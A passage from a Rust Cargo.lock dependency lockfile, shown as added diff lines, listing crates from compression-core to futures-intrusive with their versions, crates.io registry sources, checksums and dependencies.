"compression-core", + "flate2", +] + +[[package]] +name = "compression-core" +version = "0.4.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc14f565cf027a105f7a44ccf9e5b424348421a1d8952a8fc9d499d313107789" + +[[package]] +name = "concurrent-queue" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "config" +version = "0.13.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23738e11972c7643e4ec947840fc463b6a571afcd3e735bdfce7d03c7a784aca" +dependencies = [ + "async-trait", + "json5", + "lazy_static", + "nom 7.1.3", + "pathdiff", + "ron", + "rust-ini", + "serde", + "serde_json", + "toml", + "yaml-rust", +] + +[[package]] +name = "console" +version = "0.15.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "054ccb5b10f9f2cbf51eb355ca1d05c2d279ce1804688d0db74b4733a5aeafd8" +dependencies = [ + "encode_unicode", + "libc", + "once_cell", + "unicode-width", + "windows-sys 0.59.0", +] + +[[package]] +name = "console" +version = "0.16.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d64e8af5551369d19cf50138de61f1c42074ab970f74e99be916646777f8fc87" +dependencies = [ + "encode_unicode", + "libc", + "unicode-width", + "windows-sys 0.61.2", +] + +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + +[[package]] +name = "const-oid" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6ef517f0926dd24a1582492c791b6a4818a4d94e789a334894aa15b0d12f55c" + +[[package]] +name = "const-random" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87e00182fe74b066627d63b85fd550ac2998d4b0bd86bfed477a0ae4c7c71359" +dependencies = [ + "const-random-macro", +] + +[[package]] +name = "const-random-macro" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9d839f2a20b0aee515dc581a6172f2321f96cab76c1a38a4c584a194955390e" +dependencies = [ + "getrandom 0.2.17", + "once_cell", + "tiny-keccak", +] + +[[package]] +name = "convert_case" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "633458d4ef8c78b72454de2d54fd6ab2e60f9e02be22f3c6104cdc8a4e0fceb9" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "cookie" +version = "0.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e859cd57d0710d9e06c381b550c06e76992472a8c6d527aecd2fc673dcc231fb" +dependencies = [ + "percent-encoding", + "time", + "version_check", +] + +[[package]] +name = "cookie-factory" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9885fa71e26b8ab7855e2ec7cae6e9b380edff76cd052e07c683a0319d51b3a2" + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a6cd9ae233e7f62ba4e9353e81a88df7fc8a5987b8d445b4d90c879bd156f6" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "core-models" +version = "0.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0940496e5c83c54f3b753d5317daec82e8edac71c33aaa1f666d76f518de2444" +dependencies = [ + "hax-lib", + "pastey", + "rand 0.9.2", +] + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b2a41393f66f16b0823bb79094d54ac5fbd34ab292ddafb9a0456ac9f87d201" +dependencies = [ + "libc", +] + +[[package]] +name = "crc" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5eb8a2a1cd12ab0d987a5d5e825195d372001a4094a0376319d5a0ad71c1ba0d" +dependencies = [ + "crc-catalog", +] + +[[package]] +name = "crc-catalog" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19d374276b40fb8bbdee95aef7c7fa6b5316ec764510eb64b8dd0e2ed0d7e7f5" + +[[package]] +name = "crc32fast" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crossbeam-channel" +version = "0.5.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82b8f8f868b36967f9606790d1903570de9ceaf870a7bf9fbbd3016d636a2cb2" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-deque" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9dd111b7b7f7d55b72c0a6ae361660ee5853c9af73f70c3c2ef6858b950e2e51" +dependencies = [ + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-queue" +version = "0.3.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f58bbc28f91df819d0aa2a2c00cd19754769c2fad90579b3592b1c9ba7a3115" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + +[[package]] +name = "crypto-bigint" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76" +dependencies = [ + "generic-array 0.14.7", + "rand_core 0.6.4", + "subtle", + "zeroize", +] + +[[package]] +name = "crypto-bigint" +version = "0.7.0-rc.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37387ceb32048ff590f2cbd24d8b05fffe63c3f69a5cfa089d4f722ca4385a19" +dependencies = [ + "ctutils", + "num-traits", + "rand_core 0.10.0-rc-3", + "serdect", + "zeroize", +] + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array 0.14.7", + "rand_core 0.6.4", + "typenum", +] + +[[package]] +name = "crypto-common" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77727bb15fa921304124b128af125e7e3b968275d1b108b379190264f4423710" +dependencies = [ + "hybrid-array", +] + +[[package]] +name = "crypto-primes" +version = "0.7.0-pre.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e79c98a281f9441200b24e3151407a629bfbe720399186e50516da939195e482" +dependencies = [ + "crypto-bigint 0.7.0-rc.18", + "libm", + "rand_core 0.10.0-rc-3", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "ctutils" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "758e5ed90be3c8abff7f9a6f37ab7f6d8c59c2210d448b81f3f508134aec84e4" +dependencies = [ + "cmov", +] + +[[package]] +name = "cucumber" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16cbb27bc2064274afa3a3d8bc9a0e71333589850573aa632ec4520e4af14d94" +dependencies = [ + "anyhow", + "clap", + "console 0.16.3", + "cucumber-codegen", + "cucumber-expressions", + "derive_more", + "either", + "futures", + "gherkin", + "globwalk", + "humantime", + "inventory", + "itertools 0.14.0", + "linked-hash-map", + "pin-project", + "ref-cast", + "regex", + "sealed", + "smart-default", +] + +[[package]] +name = "cucumber-codegen" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a1afaf9c422380861111c6be56f39b324e351fd9efc07a1486268798bf79cfd" +dependencies = [ + "cucumber-expressions", + "inflections", + "itertools 0.14.0", + "proc-macro2", + "quote", + "regex", + "syn 2.0.117", + "synthez", +] + +[[package]] +name = "cucumber-expressions" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6401038de3af44fe74e6fccdb8a5b7db7ba418f480c8e9ad584c6f65c05a27a6" +dependencies = [ + "derive_more", + "either", + "nom 8.0.0", + "nom_locate", + "regex", + "regex-syntax", +] + +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "curve25519-dalek-derive", + "digest 0.10.7", + "fiat-crypto", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "darling" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b750cb3417fd1b327431a470f388520309479ab0bf5e323505daf0290cd3850" +dependencies = [ + "darling_core", + "darling_macro", +] + +[[package]] +name = "darling_core" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "109c1ca6e6b7f82cc233a97004ea8ed7ca123a9af07a8230878fcfda9b158bf0" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim 0.10.0", + "syn 1.0.109", +] + +[[package]] +name = "darling_macro" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4aab4dbc9f7611d8b55048a3a16d2d010c2c8334e46304b40ac1cc14bf3b48e" +dependencies = [ + "darling_core", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "dashmap" +version = "5.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856" +dependencies = [ + "cfg-if", + "hashbrown 0.14.5", + "lock_api", + "once_cell", + "parking_lot_core", +] + +[[package]] +name = "data-encoding" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7a1e2f27636f116493b8b860f5546edb47c8d8f8ea73e1d2a20be88e28d1fea" + +[[package]] +name = "deadpool" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "421fe0f90f2ab22016f32a9881be5134fdd71c65298917084b0c7477cbc3856e" +dependencies = [ + "async-trait", + "deadpool-runtime", + "num_cpus", + "retain_mut", + "tokio", +] + +[[package]] +name = "deadpool" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0be2b1d1d6ec8d846f05e137292d0b89133caf95ef33695424c09568bdd39b1b" +dependencies = [ + "deadpool-runtime", + "lazy_static", + "num_cpus", + "tokio", +] + +[[package]] +name = "deadpool-lapin" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33c7b14064f854a3969735e7c948c677a57ef17ca7f0bc029da8fe2e5e0fc1eb" +dependencies = [ + "deadpool 0.12.3", + "lapin", + "tokio-executor-trait", +] + +[[package]] +name = "deadpool-runtime" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "092966b41edc516079bdf31ec78a2e0588d1d0c08f78b91d8307215928642b2b" +dependencies = [ + "tokio", +] + +[[package]] +name = "delegate" +version = "0.13.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "780eb241654bf097afb00fc5f054a09b687dad862e485fdcf8399bb056565370" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "der" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +dependencies = [ + "const-oid 0.9.6", + "der_derive", + "flagset", + "pem-rfc7468 0.7.0", + "zeroize", +] + +[[package]] +name = "der" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71fd89660b2dc699704064e59e9dba0147b903e85319429e131620d022be411b" +dependencies = [ + "const-oid 0.10.2", + "pem-rfc7468 1.0.0", + "zeroize", +] + +[[package]] +name = "der-parser" +version = "10.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07da5016415d5a3c4dd39b11ed26f915f52fc4e0dc197d87908bc916e51bc1a6" +dependencies = [ + "asn1-rs", + "displaydoc", + "nom 7.1.3", + "num-bigint", + "num-traits", + "rusticata-macros", +] + +[[package]] +name = "der_derive" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8034092389675178f570469e6c3b0465d3d30b4505c294a6550db47f3c17ad18" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "deranged" +version = "0.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c" +dependencies = [ + "powerfmt", +] + +[[package]] +name = "derive_builder" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d67778784b508018359cbc8696edb3db78160bab2c2a28ba7f56ef6932997f8" +dependencies = [ + "derive_builder_macro 0.12.0", +] + +[[package]] +name = "derive_builder" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f59169f400d8087f238c5c0c7db6a28af18681717f3b623227d92f397e938c7" +dependencies = [ + "derive_builder_macro 0.13.1", +] + +[[package]] +name = "derive_builder_core" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c11bdc11a0c47bc7d37d582b5285da6849c96681023680b906673c5707af7b0f" +dependencies = [ + "darling", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "derive_builder_core" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4ec317cc3e7ef0928b0ca6e4a634a4d6c001672ae210438cf114a83e56b018d" +dependencies = [ + "darling", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "derive_builder_macro" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebcda35c7a396850a55ffeac740804b40ffec779b98fffbb1738f4033f0ee79e" +dependencies = [ + "derive_builder_core 0.12.0", + "syn 1.0.109", +] + +[[package]] +name = "derive_builder_macro" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "870368c3fb35b8031abb378861d4460f573b92238ec2152c927a21f77e3e0127" +dependencies = [ + "derive_builder_core 0.13.1", + "syn 1.0.109", +] + +[[package]] +name = "derive_more" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d751e9e49156b02b44f9c1815bcb94b984cdcc4396ecc32521c739452808b134" +dependencies = [ + "derive_more-impl", +] + +[[package]] +name = "derive_more-impl" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "799a97264921d8623a957f6c3b9011f3b5492f557bbb7a5a19b7fa6d06ba8dcb" +dependencies = [ + "convert_case", + "proc-macro2", + "quote", + "rustc_version", + "syn 2.0.117", + "unicode-xid", +] + +[[package]] +name = "des" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffdd80ce8ce993de27e9f063a444a4d53ce8e8db4c1f00cc03af5ad5a9867a1e" +dependencies = [ + "cipher", +] + +[[package]] +name = "deunicode" +version = "1.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "abd57806937c9cc163efc8ea3910e00a62e2aeb0b8119f1793a978088f8f6b04" + +[[package]] +name = "dialoguer" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "658bce805d770f407bc62102fca7c2c64ceef2fbcb2b8bd19d2765ce093980de" +dependencies = [ + "console 0.15.11", + "fuzzy-matcher", + "shell-words", + "tempfile", + "thiserror 1.0.69", + "zeroize", +] + +[[package]] +name = "difflib" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6184e33543162437515c2e2b48714794e37845ec9851711914eec9d308f6ebe8" + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer 0.10.4", + "const-oid 0.9.6", + "crypto-common 0.1.7", + "subtle", +] + +[[package]] +name = "digest" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4850db49bf08e663084f7fb5c87d202ef91a3907271aff24a94eb97ff039153c" +dependencies = [ + "block-buffer 0.12.0", + "const-oid 0.10.2", + "crypto-common 0.2.1", +] + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "dlv-list" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0688c2a7f92e427f44895cd63841bff7b29f8d7a1648b9e7e07a4a365b2e1257" + +[[package]] +name = "doc-comment" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "780955b8b195a21ab8e4ac6b60dd1dbdcec1dc6c51c0617964b08c81785e12c9" + +[[package]] +name = "docker-compose-types" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d6fdd6fa1c9e8e716f5f73406b868929f468702449621e7397066478b9bf89c" +dependencies = [ + "derive_builder 0.13.1", + "indexmap 2.14.0", + "serde", + "serde_yaml", +] + +[[package]] +name = "dotenvy" +version = "0.15.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aaf95b3e5c8f23aa320147307562d361db0ae0d51242340f558153b4eb2439b" + +[[package]] +name = "dunce" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" + +[[package]] +name = "ecdsa" +version = "0.16.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca" +dependencies = [ + "der 0.7.10", + "digest 0.10.7", + "elliptic-curve", + "rfc6979", + "signature 2.2.0", + "spki 0.7.3", +] + +[[package]] +name = "ed25519" +version = "2.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53" +dependencies = [ + "pkcs8 0.10.2", + "signature 2.2.0", +] + +[[package]] +name = "ed25519-dalek" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9" +dependencies = [ + "curve25519-dalek", + "ed25519", + "rand_core 0.6.4", + "serde", + "sha2 0.10.9", + "subtle", + "zeroize", +] + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" +dependencies = [ + "serde", +] + +[[package]] +name = "elliptic-curve" +version = "0.13.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47" +dependencies = [ + "base16ct 0.2.0", + "crypto-bigint 0.5.5", + "digest 0.10.7", + "ff", + "generic-array 0.14.7", + "group", + "hkdf", + "pem-rfc7468 0.7.0", + "pkcs8 0.10.2", + "rand_core 0.6.4", + "sec1", + "subtle", + "zeroize", +] + +[[package]] +name = "email-encoding" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9298e6504d9b9e780ed3f7dfd43a61be8cd0e09eb07f7706a945b0072b6670b6" +dependencies = [ + "base64 0.22.1", + "memchr", +] + +[[package]] +name = "email_address" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e079f19b08ca6239f47f8ba8509c11cf3ea30095831f7fed61441475edd8c449" + +[[package]] +name = "encode_unicode" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34aa73646ffb006b8f5147f3dc182bd4bcb190227ce861fc4a4844bf8e3cb2c0" + +[[package]] +name = "encoding_rs" +version = "0.8.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "enum_dispatch" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa18ce2bc66555b3218614519ac839ddb759a7d6720732f979ef8d13be147ecd" +dependencies = [ + "once_cell", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "erased-serde" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c138974f9d5e7fe373eb04df7cae98833802ae4b11c24ac7039a21d5af4b26c" +dependencies = [ + "serde", +] + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "error-chain" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d2f06b9cac1506ece98fe3231e3cc9c4410ec3d5b1f24ae1c8946f0742cdefc" +dependencies = [ + "version_check", +] + +[[package]] +name = "etcetera" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "136d1b5283a1ab77bd9257427ffd09d8667ced0570b6f938942bc7568ed5b943" +dependencies = [ + "cfg-if", + "home", + "windows-sys 0.48.0", +] + +[[package]] +name = "event-listener" +version = "2.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" + +[[package]] +name = "event-listener" +version = "5.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13b66accf52311f30a0db42147dadea9850cb48cd070028831ae5f5d4b856ab" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8be9f3dfaaffdae2972880079a491a1a8bb7cbed0b8dd7a347f668b4150a3b93" +dependencies = [ + "event-listener 5.4.1", + "pin-project-lite", +] + +[[package]] +name = "executor-trait" +version = "2.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c39dff9342e4e0e16ce96be751eb21a94e94a87bb2f6e63ad1961c2ce109bf" +dependencies = [ + "async-trait", +] + +[[package]] +name = "fastrand" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be" +dependencies = [ + "instant", +] + +[[package]] +name = "fastrand" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f1f227452a390804cdb637b74a86990f2a7d7ba4b7d5693aac9b4dd6defd8d6" + +[[package]] +name = "ff" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0b50bfb653653f9ca9095b427bed08ab8d75a137839d9ad64eb11810d5b6393" +dependencies = [ + "rand_core 0.6.4", + "subtle", +] + +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + +[[package]] +name = "filetime" +version = "0.2.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f98844151eee8917efc50bd9e8318cb963ae8b297431495d3f758616ea5c57db" +dependencies = [ + "cfg-if", + "libc", + "libredox", +] + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "fixedbitset" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80" + +[[package]] +name = "flagset" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7ac824320a75a52197e8f2d787f6a38b6718bb6897a35142d749af3c0e8f4fe" + +[[package]] +name = "flate2" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843fba2746e448b37e26a819579957415c8cef339bf08564fe8b7ddbd959573c" +dependencies = [ + "crc32fast", + "miniz_oxide", +] + +[[package]] +name = "float-cmp" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b09cf3155332e944990140d967ff5eceb70df778b34f77d8075db46e4704e6d8" +dependencies = [ + "num-traits", +] + +[[package]] +name = "flume" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da0e4dd2a88388a1f4ccc7c9ce104604dab68d9f408dc34cd45823d5a9069095" +dependencies = [ + "futures-core", + "futures-sink", + "spin 0.9.8", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "fs_extra" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42703706b716c37f96a77aea830392ad231f44c9e9a67872fa5548707e11b11c" + +[[package]] +name = "futures" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b147ee9d1f6d097cef9ce628cd2ee62288d963e16fb287bd9286455b241382d" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d" + +[[package]] +name = "futures-executor" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf29c38818342a3b26b5b923639e7b1f4a61fc5e76102d4b1981c6dc7a7579d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-intrusive" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d930c203dd0b6ff06e0201a4a2fe9149b43c684fd4420555b26d21b1a02956f" +dependencies = [ + 